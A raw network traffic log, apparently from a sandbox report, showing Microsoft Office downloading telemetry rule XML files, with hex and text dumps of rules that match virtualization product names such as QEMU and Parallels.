2024-10-30 10:45:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49801	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104526Z-17fbfdc98bblfj7gw4f18guu2800000009a0000000004rxz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:26 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:26 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 18df47ae-c01e-00a1-2249-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104526Z-17fbfdc98bbwmxz5amc6q625w000000003yg0000000029es x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:26 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49804	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 4e972348-801e-00ac-276d-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104526Z-r1755647c66mmrln9nsykf75u80000000730000000001ana x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:26 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ca6c0e2f-901e-008f-5413-2667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104526Z-17fbfdc98bbvvplhck7mbap4bw00000009ng000000001ekk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49806	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104527Z-17fbfdc98bb9xxzfyggrfrbqmw00000007300000000060kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49805	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 481bd859-201e-00aa-219c-273928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104527Z-r1755647c66vxbtprd2g591tyg00000007pg000000000r09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49807	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2ac474a9-a01e-0098-14a3-268556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104527Z-17fbfdc98bbdbgkb6uyh3q4ue40000000790000000003u45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49808	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:27 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e1e6f089-901e-005b-1e15-262005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104527Z-r1755647c66w6f6b5182nn0u0400000006c00000000044qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49809	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 321a447c-801e-002a-4da3-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104527Z-17fbfdc98bbtf4jxpev5grnmyw00000008300000000032pm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49810	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 6c7958f7-701e-001e-113a-29f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104528Z-17fbfdc98bbtwz55a8v24wfkdw000000092g000000002ewf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49812	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104528Z-17fbfdc98bb2xwflv0w9dps90c00000008v0000000001amd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49811	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
